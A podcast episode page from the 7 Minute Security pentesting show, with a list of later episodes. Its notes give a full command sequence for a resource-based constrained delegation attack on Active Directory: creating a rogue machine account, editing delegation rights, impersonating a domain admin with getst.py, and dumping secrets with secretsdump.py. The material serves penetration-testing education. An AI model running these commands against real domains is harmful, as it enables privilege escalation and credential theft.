7 Minute Security20 Touko 2022

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

# From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

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Tämä jakso on lisätty Podme-palveluun avoimen RSS-syötteen kautta eikä se ole Podmen omaa tuotantoa. Siksi jakso saattaa sisältää mainontaa.

Jaksot(731)

7MS #731: CARTP – Cloud Red Team Tactics for Attacking and Defending Azure – THE FINAL CHAPTER!

Hey friends! Fair warning: today's episode is a bit of an emotional rollercoaster — we've got a big security win, some honest lab feedback, and a very personal share about my dad's funeral. Buckle up....

17 Heinä 53min

7MS #730: Baby's First Project Swarm

Hey friends! Still your grieving pal over here, but also your swarming friend and Protecting My Network Edge host — because this week I've been tinkering with something called Project Swarm and I've g...

10 Heinä 25min

7MS #729: Pwning Dracarys

Hey friends! Still your grieving pal over here, but also your happy hacking host — because today we're diving into baby's first Dracarys! (Yes, I'm probably pronouncing that wrong. Yes, I'm going to k...

4 Heinä 18min

7MS #728: Securing Your Family During and After a Disaster – Part 8

Hey friends! This is a tough one to write. My dad passed away on Friday, and instead of the hacker-y tech episode I had planned, I pivoted to something more personal — another installment of our "Secu...

30 Kesä 38min

7MS #727: Securing Your Mental Health – Part 7

Hello friends! It's been over a year since we did a dedicated mental health episode, so today I'm doing a big catch-up and running through my 7-point plan for being a more mentally secure me. None of ...

19 Kesä 21min

7MS #726: Baby's First Hermes

Hello friends! I've been on a bit of an AI agent journey lately, and today I'm sharing my experience ditching OpenClaw and going all-in on Hermes — a self-hosted AI agent built by Nous Research. A Net...

12 Kesä 22min

7MS #725: Building a Bulletproof Backup Solution

Hey friends! Backups are not as cool as pentesting, but boy do they matter when things go sideways. This week I'm sharing how a Proxmox backup disk space meltdown led me to a completely overhauled — a...

5 Kesä 21min

7MS #724: Tales of Pentest Pwnage - Part 85

Hey friends! Today we're going deep on external network pentesting — something I realize we've barely touched in however many episodes we've done. I'm currently in a long stretch of back-to-back exter...

29 Touko 30min